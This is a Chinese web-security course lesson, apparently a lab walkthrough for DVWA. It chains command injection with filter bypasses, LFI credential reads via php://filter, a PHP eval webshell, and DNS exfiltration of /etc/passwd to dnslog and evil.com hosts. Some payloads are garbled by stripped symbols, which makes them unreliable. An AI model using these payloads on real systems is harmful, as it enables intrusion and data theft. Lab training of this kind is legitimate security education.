尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
【八个月网安课程】第八周·周六:靶场命令/代码执行漏洞综合通关——从单点利用到攻击链
以下是第八周周六的详细学习内容。今天将不再有新的漏洞类型而是将你过去一周所学的目录遍历、文件包含、命令注入有回显与无回显全部串联起来在多个靶场场景中完成综合实战。你将脱离“单漏洞利用”的思维开始构建“从信息收集到权限获取”的完整攻击链。第八周·周六靶场命令/代码执行漏洞综合通关——从单点利用到攻击链 今日学习目标达成效果能独立完成DVWA 命令注入关卡的 Low/Medium/High 三个安全级别的手工利用灵活切换分隔符绕过黑名单能将文件包含漏洞与命令注入结合通过 LFI 读取源码获取数据库凭据再利用命令注入写入 Webshell能在没有回显的环境中模拟使用 DNS 外带或延时判断确认漏洞存在并最终通过写入文件获得持久化 Shell能梳理出一个典型的“文件包含→命令执行→权限提升”攻击链并写出每一步的 payload 和原理能用表格总结本周所有漏洞的攻击面、利用条件与防御核心形成自己的安全知识体系。✍️ 一、环境准备与任务清单靶场环境DVWA安全等级可切换用于命令注入、文件包含自建 Python 盲命令注入服务周五的blind_cmd.py可选DNSLog 平台如dnslog.cn或 Burp Collaborator任务清单必须逐项完成并记录通关 DVWA Command Injection 低/中/高三个级别利用 DVWA File Inclusion 读取服务器配置文件发现数据库密码结合命令注入将一句话木马写入 Web 目录获得 Webshell使用 DNS 外带技术验证盲命令注入自建或 DVWA 模拟构建一个完整的攻击链报告见测试题✍️ 二、任务一DVWA Command Injection 全难度通关1. Low 级别无过滤输入127.0.0.1; whoami执行成功复习基础。探索其他分隔符、|、均可用。2. Medium 级别部分过滤DVWA Medium 将和;替换为空字符串但未处理|和等。输入127.0.0.1 whoami→ 过滤后变为127.0.0.1 whoami语法错误无法执行。尝试127.0.0.1 whoami→ 成功执行whoami未被过滤。尝试127.0.0.1 | whoami→ 成功。同时可利用双写绕过若过滤不严谨127.0.0.1 ; whoami不一定有效但足够。记录Medium 的过滤缺失让和|成为突破口。3. High 级别严格黑名单DVWA High 将许多字符替换为空包括、;、|、-、$、(、)、、||等。直接尝试127.0.0.1 | whoami失败|被过滤。可尝试使用换行符%0a绕过部分后端会将其解释为命令分隔127.0.0.1%0awhoami但 DVWA High 可能会过滤%或进行多次过滤。经测试DVWA High 通常仍能用|的变种或使用%0a需在 Burp 中直接修改 POST 参数。发现黑名单漏掉了|后不带空格实际代码中往往用空格分割可尝试127.0.0.1|whoami无空格可能执行。若均不可行可考虑使用%0a在 POST 体中。切换为 POST 方式用 Burp 抓包在target参数后添加%0als通常 High 级别仍接受换行符。通关记录High 级别说明黑名单不可靠必须白名单或参数化。✍️ 三、任务二文件包含读取配置文件获取数据库凭据利用 DVWA File Inclusion (Low) 读取/var/www/html/config/config.inc.php或同级目录的config.php。已知路径尝试?page../../config/config.inc.php直接包含会被执行不显示源码。使用php://filter读取源码?pagephp://filter/readconvert.base64-encode/resource../../config/config.inc.php将返回的 Base64 解码找到$_DVWA[ db_user ]、$_DVWA[ db_password ]等。记录数据库密码例如pssw0rd。安全意义通过 LFI 可以收集更多凭据为下一步写入 Webshell 或数据库操作提供支撑。✍️ 四、任务三结合命令注入写入 Webshell现在你既有命令注入可以执行系统命令又可能知道 Web 目录路径从 LFI 中获取。直接写入一句话木马若目录可写使用命令注入执行127.0.0.1; echo ?php eval($_POST[cmd]); ? /var/www/html/shell.php确认写入成功127.0.0.1; ls -la /var/www/html/shell.php使用蚁剑或 curl 连接curl -d cmdsystem(id); http://靶机/shell.php返回uidwww-data...表示已获得 Webshell。如果命令注入有过滤可利用 Base64 编码写入echo PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7ID8 | base64 -d shell.php✍️ 五、任务四无回显场景下的 DNS 外带实战回到自建的blind_cmd.py服务或通过修改 DVWA 模拟将 DVWA 命令注入改为不输出但今天我们用自建环境。确认盲注入存在访问http://127.0.0.1:8080/?cmdsleep%204观察延迟。使用 DNSLog 获取当前用户http://127.0.0.1:8080/?cmdnslookup%20%60whoami%60.abc123.dnslog.cn从 DNSLog 平台查看结果。若想获取/etc/passwd内容分段外带因长度限制cmd$(cat/etc/passwd|base64|tr-d\n);foriin$(echo$cmd|fold-w30);donslookup$i.evil.com;done在真实渗透中可写脚本自动化。结论即使完全无回显通过 DNS 外带仍可窃取任意文件内容。✍️ 六、任务五构建完整攻击链报告今日测试题综合今天的操作写出一个虚构或实际的攻击场景报告体现“文件包含→信息收集→命令注入→权限提升”链路。测试题要求测试题假设你发现某网站存在文件包含漏洞和命令注入漏洞DVWA 场景。请描述一个完整的攻击过程从最初的探测到最终获取服务器权限写出每步使用的 payload并解释其作用。参考答案示例发现文件包含漏洞通过?page../../../../etc/passwd确认存在 LFI。读取配置文件利用php://filter读取/var/www/html/config.php得到数据库账号密码。发现命令注入在另一个输入 IP 的功能处输入127.0.0.1; sleep 5确认执行延迟。写入 Webshell使用命令注入执行echo ?php eval($_POST[cmd]); ? /var/www/html/s.php。连接 Webshell通过蚁剑连接http://target/s.php密码cmd成功获取www-data权限。权限提升后续阶段通过 SUID 查找或内核提权进一步获取 root。✅ 今日学习效果自检清单我通关了 DVWA 命令注入 Low/Medium/High 全部级别我使用 LFI 读取了网站的数据库配置文件我通过命令注入成功写入了 Webshell 并连接执行命令我在无回显环境中使用 DNS 外带获取了系统信息我能清晰描述一条“信息收集→漏洞利用→权限获取”的完整攻击链我理解防御这些漏洞的核心输入校验、最小权限、禁用危险函数、限制出站流量⚠️ 阶段避坑重点不要依赖单一手法当分隔符被过滤时应立刻尝试其他字符或编码绕过。记录每种环境下的有效 payload 是成为专业渗透者的关键。写入 Webshell 时注意目录权限Web 目录通常可写但如果不可写可能需要写入/tmp并结合文件包含执行进阶。DNS 外带数据的长度限制域名标签最长 63 字符中文等 UTF-8 字符可能被转义需要分段或编码。清理痕迹实验结束后删除写入的 Webshell 和日志中的恶意记录保持环境干净。 恭喜你完成了第八周全部内容。通过这一周的密集训练你已经能够独立利用命令执行类漏洞并在完全无回显的情况下窃取数据。下周我们将进入更前沿的逻辑漏洞、文件上传高级绕过等 Web 安全深水区。你的攻击链思维已经形成继续前进。
RELATED

相关推荐

从IDE到ADE:智能体开发环境的核心技术与落地实践

从IDE到ADE:智能体开发环境的核心技术与落地实践

1. 从IDE到ADE:开发环境正在经历一次范式迁移如果你最近在开发者社区里频繁看到"ADE"这个词,不是拼写错误,也不是某个新品牌的缩写,而是智能体开发环境(Agentic Development Environment)。这个词…

📅 2026/10/4 17:58:17
Cursor插件开发核心机制与避坑指南

Cursor插件开发核心机制与避坑指南

1. “plugins”不是功能菜单,而是Cursor生态的神经中枢很多人第一次在Cursor里点开Settings → Extensions,看到“Plugins”标签页时,下意识以为这只是个“插件市场入口”——就像VS Code里点Extensions Marketplace那样,搜一搜、…

📅 2026/10/4 17:58:17
90DaysOfDevOps 第 30 天:Microsoft Azure 安全模型——身份、目录、RBAC 与 Azure Policy 实战

90DaysOfDevOps 第 30 天:Microsoft Azure 安全模型——身份、目录、RBAC 与 Azure Policy 实战

文档/教程 【免费下载链接】90DaysOfDevOps This repository started out as a learning in public project for myself and has now become a structured learning map for many in the community. We have 3 years under our belt covering all things DevOps, including Pri…

📅 2026/10/4 17:58:17
MORE NEWS

更多资讯

📰

插件机制深度拆解:从设计原理到 failed to load plugins 排查实操

不用我说,大家多少都碰过这种情况:刚装了一个看起来很厉害的插件,菜单里找不到入口,重启之后又冒出一句 "failed to load plugins",紧接着日志里躺着一行 "web boot: 2 entries did not activate"…

📰

插件加载失败怎么办?从原理到排查一次讲清

相信不少朋友都遇到过这种场景:明明按文档把插件装好了,重启后却看到一行failed to load plugins,要么就是web boot: 2 entries did not activate,一脸懵。我自己这几年折腾过 IDE、嵌入式工具链、开源播放器、CI/CD 流水线&#…

📰

AI应用开发平台实战:从Agent编排到MCP/SKILL/RAG落地指南

1. 为什么我需要一个AI应用开发平台做AI应用最痛苦的阶段是什么?不是模型崩了、不是效果不好,而是到了某个节点你会发现:单个ChatGPT式的对话框根本顶不住真实业务。拿我们团队实际的一个需求举例——客户要做“竞品价格监控动态调价建议”&a…

📰

I2C总线从硬件到驱动全解析:开漏输出、ACK握手与Linux驱动调试实战

1. I2C 总线到底解决了什么问题搞嵌入式开发的人,迟早都会跟 I2C 打交道。你打开任何一块开发板的原理图,大概率能看到至少一两条 I2C 总线挂着 EEPROM、传感器、OLED 屏或者 RTC 芯片。但很多人对 I2C 的理解停留在“两根线、能挂很多设备”这个层面&am…

📰

如何用Ripple Community Wallet安全转账与收款:地址校验、Drops精度与QR收款完整流程

如何用Ripple Community Wallet安全转账与收款:地址校验、Drops精度与QR收款完整流程 【免费下载链接】XRP-community-wallet Fully decentralized and the most secure XRP & EVM wallet - built by the community, for the community. 项目地址: https://gi…

📰

css鼠标样式全解析:用TaoToken统一管理多项目cursor配置

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬